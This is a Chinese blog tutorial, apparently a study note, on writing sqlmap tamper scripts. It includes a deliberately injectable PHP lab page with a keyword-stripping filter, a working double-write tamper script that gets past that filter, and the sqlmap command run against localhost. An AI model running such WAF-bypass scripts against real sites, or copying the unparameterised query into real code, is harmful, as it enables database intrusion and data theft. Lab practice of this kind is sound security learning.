• SQLMAP --TAMPER的编写


    跟着师傅的文章进行学习

    sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客

    这里学习一下tamper的编写

    这里的tamper 其实就是多个绕过waf的插件 通过编写tamper 我们可以学会

    在不同过滤下 执行sql注入

    我们首先了解一下 tamper的结构

    这里我们首先看一个最简单的例子

    1. from lib.core.enums import PRIORITY
    2. __priority__ = PRIORITY.LOWEST
    3. def dependencies():
    4. pass
    5. def tamper(payload,**kwargs):
    6. return payload.replace("'","\\'").replace('"','\\"')

    这里的例子我们可以发现

    我们可以通过设置
     

    1. __priority__: 当多个tamper被使用时的优先级
    2. (LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
    3. tamper 对payload的处理 这里是将 双引号 单引号都加上 \\

    我们来根据题目进行测试吧

    1. function sqlwaf( $str ) {
    2. $str = str_ireplace( "and", "", $str );
    3. $str = str_ireplace( "or", "", $str );
    4. $str = str_ireplace( "union", "", $str );
    5. $str = str_ireplace( "select", "", $str );
    6. $str = str_ireplace( "sleep", "", $str );
    7. $str = str_ireplace( "group", "", $str );
    8. $str = str_ireplace( "extractvalue", "", $str );
    9. $str = str_ireplace( "updatexml", "", $str );
    10. $str = str_ireplace( "PROCEDURE", "", $str );
    11. return $str;
    12. }

    增加过滤 将这些替换为空 这里其实我们本身已经知道如何注入了 双写绕过即可

    1. echo '

      参数是 id 方式是GET

      '
      ;
    2. $dbhost = '172.18.224.108'; // mysql服务器主机地址
    3. $dbuser = 'root'; // mysql用户名
    4. $dbpass = 'root'; // mysql用户名密码
    5. $conn = mysqli_connect($dbhost, $dbuser, $dbpass);
    6. function sqlwaf( $str ) {
    7. $str = str_ireplace( "and", "", $str );
    8. $str = str_ireplace( "or", "", $str );
    9. $str = str_ireplace( "union", "", $str );
    10. $str = str_ireplace( "select", "", $str );
    11. $str = str_ireplace( "sleep", "", $str );
    12. $str = str_ireplace( "group", "", $str );
    13. $str = str_ireplace( "extractvalue", "", $str );
    14. $str = str_ireplace( "updatexml", "", $str );
    15. $str = str_ireplace( "PROCEDURE", "", $str );
    16. return $str;
    17. }
    18. // 设置编码,防止中文乱码
    19. mysqli_query($conn , "set names utf8");
    20. $a = sqlwaf($_GET['id']);
    21. echo $d;
    22. if($a){
    23. $sql = "SELECT * FROM user where id = '$a'";
    24. }
    25. mysqli_select_db( $conn, 'test' );
    26. $retval = mysqli_query( $conn, $sql );
    27. if(! $retval )
    28. {
    29. die( mysqli_error($conn));
    30. }
    31. echo '

      SQL 注入测试

      '
      ;
    32. echo '';
    33. while($row = mysqli_fetch_array($retval, MYSQLI_NUM))
    34. {
    35. echo "
    36. ".
    37. "
    38. ".
    39. "
    40. ".
    41. "
    42. ";
    43. }
    44. echo '
    45. IDNAMEPASSWD
      {$row[0]}{$row[1]} {$row[2]}
      '
      ;
    46. mysqli_close($conn);
    47. ?>

    但是我们如何在tamper中体现呢

    我们首先进行正常注入看看是否成功

    发现这里就注入失败了 无法实现注入

    所以我们开始修改tamper

    1. from lib.core.enums import PRIORITY
    2. __priority__ = PRIORITY.NORMAL
    3. def dependencies():
    4. pass
    5. def tamper(payload,**kwargs):
    6. return payload.replace("OR","oorr").replace('UNION','uniunionon').replace('SELECT','selselectect').replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")

     就是很简单的对payload进行操作 将所有过滤的内容实现绕过即可

    然后我们再次进行注入

    1. py3 .\sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1%27
    2. --tamper=waf1.py -v3

    注入成功

    这是最简单的 tamper 后续写就要按照题目来了

  • 相关阅读:
    华为认证 | 11月底这门HCIP认证即将发布!
    如何用BCompare打增量包
    计算机网络知识点总结——第四章网络层
    云渲染是什么?云渲染怎么用?
    《向量数据库指南》——AI原生Milvus Cloud 中NATS 配置项详解
    计算机视觉: 三维物体生成
    Docker部署ssm项目到腾讯云服务器
    2022中国工业视觉市场研究报告【免费下载】
    Linux cp命令使用指南:详细教程及实际应用场景解析
    localhost和127.0.0.1都可以访问项目,但是本地的外网IP不能访问
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/134454905